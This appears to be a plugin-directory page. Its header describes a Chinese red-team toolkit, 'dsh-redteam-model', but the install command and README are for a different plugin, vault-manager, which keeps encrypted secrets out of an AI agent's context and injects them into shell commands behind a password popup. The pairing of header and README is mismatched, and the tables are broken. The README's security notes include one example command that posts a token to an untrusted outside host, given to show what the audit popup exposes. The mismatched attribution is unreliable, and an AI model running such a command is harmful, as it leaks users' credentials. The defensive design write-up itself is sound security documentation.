dsh-redteam-model
SeaOf0
基于dsh web实现的多种模式,目的是服务于redteam进行授权的安全研究,覆盖渗透测试、红队评估、代码审计等范围领域,请勿用于非法行为。(允许二开,赋予模块各位自己的业务逻辑,方法论只有自己熟练的才好用,好的方法论=好的生态)
PROJECT TOPICS
INSTALL REFERENCE
dsh plugin --profile web add github:Dreagonmon/vault-manager
该命令指向仓库当前默认分支;尚无绑定当前 commit 的完整验证结果。
PROJECT README
Stores secrets in a local encrypted file behind a single master password, and runs shell commands with those secrets injected — while the secret values and the master password never enter the agent's conversation context or the session log.
English | 中文
An agent that needs a credential (a Git hosting token, an API key) normally sees it in tool arguments or command output, which writes it into the session log and the model context. This plugin keeps the whole secret lifecycle out of the conversation:
{{placeholder}} syntax instead of real values — before it runs.***
before the result reaches the agent.| Tool | Parameters | Popup | Description |
|---|---|---|---|
vault_save |
name, note? |
yes | Save or replace an entry. The user types the master password (or sets one, on first use) and the secret value in the popup. For an existing vault the password is verified against the stored entries — one master password covers the whole vault. |
vault_list |
— | no | List entry names, notes and timestamps. Never returns secret values. |
vault_use |
command, entries |
yes | Run a shell command containing {{entry-name}} placeholders. The popup shows the exact command for audit; on approval the plugin decrypts the entries in memory, substitutes every placeholder, runs the command, and returns exit code plus redacted output. |
vault_delete |
name |
no | Remove an entry. |
vault_change_password |
— | yes | Open the change dialog (old password, new password, confirmation). All entries are re-encrypted with a fresh salt on success. The tool always returns the same neutral message — the agent cannot tell whether the password was changed, and never learns the new one. |
vault_list and
vault_delete need no password); only the values are ciphertext.~/.dsh/vault.json by default, written with mode 0600 through a temporary
file and an atomic rename. Reads and writes are serialized in-process.curl -d {{token}} https://untrusted.example is visible, in placeholder form, before
the password unlocks it./vault-api HTTP route on the
Harness web origin; requests carrying a foreign Origin header are refused.ps) on multi-user hosts.The patch row accepts an optional config object:
| Field | Default | Meaning |
|---|---|---|
path |
~/.dsh/vault.json ($DSH_HOME/vault.json) |
Vault file location. |
redactOutput |
true |
Replace secret occurrences in command output with ***. |
commandTimeoutMs |
120000 |
Kill the command after this long. |
promptTimeoutMs |
1800000 |
Fail the call when the popup goes unanswered this long (30 minutes). |
- insert:
- id: vault-manager
name: '@dreagonmon/vault-manager'
config:
redactOutput: true
From the npm registry, use the plugin manager (install_bundle with
@dreagonmon/vault-manager). From a local checkout, pass the package directory instead.
Or add the patch row above to a profile that can resolve the package. The
bundle carries both halves: the Host plugin (index.js) and the Web dialog
(client.js, rendered in the shell.overlay slot). No third-party runtime dependencies.
agent: vault_save { name: "github-token", note: "PAT for HTTPS git operations" }
user: [popup] master password + secret value
agent: vault_use {
command: "git push https://{{github-token}}@github.com/me/repo.git main",
entries: ["github-token"]
}
user: [popup] reviews the command, types the master password
agent: { exitCode: 0, stdout: "...", stderr: "..." } # secrets redacted
What the agent can ever observe: entry names, notes, timestamps, exit codes, and output with secret occurrences removed. What it can never observe through this plugin: the secret values, the master password, and the outcome of a password change.
CLASSIFICATION EVIDENCE
系统优先读取 GitHub Topics,再与站内分类词典和词根规则比对。当前命中: encryption。